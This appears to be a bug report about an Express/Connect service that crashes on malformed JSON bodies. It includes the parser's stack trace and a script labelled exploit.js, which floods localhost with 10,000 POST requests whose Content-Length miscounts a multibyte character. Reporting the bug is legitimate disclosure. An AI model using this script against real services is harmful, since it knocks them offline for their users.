Easy to crash express service.

error

Unexpected end of input
    SyntaxError: Unexpected end of input
        at Object.parse (native)
        at IncomingMessage.module.exports (/Users/erhamilt/dev/ccweb-main/node_modules/connect/lib/middleware/json.js:76:27)
        at IncomingMessage.EventEmitter.emit (events.js:93:17)
        at IncomingMessage._emitEnd (http.js:366:10)
        at HTTPParser.parserOnMessageComplete [as onMessageComplete] (http.js:149:23)
        at Socket.socket.ondata (http.js:1825:22)
        at TCP.onread (net.js:404:27)

exploit.js

var http = require('http');

var data = JSON.stringify({
  firstName: 'JoaquÌn. Do you get it',
});

var options = {
  host: 'localhost',
  port: 8888,
  path: '/',
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': data.length
  }
};

var requests = 10000;

function doRequest() {
  var req = http.request(options, function(res) {
    var result = '';

    res.on('data', function(chunk) {
      result += chunk;
    });

    res.on('end', function() {
      console.log(result);
    });
  });

  req.on('error', function(err) {
    console.log(err);
  });

  req.write(data);
  req.end();  
}

while (requests) {
  doRequest();
  requests--;
}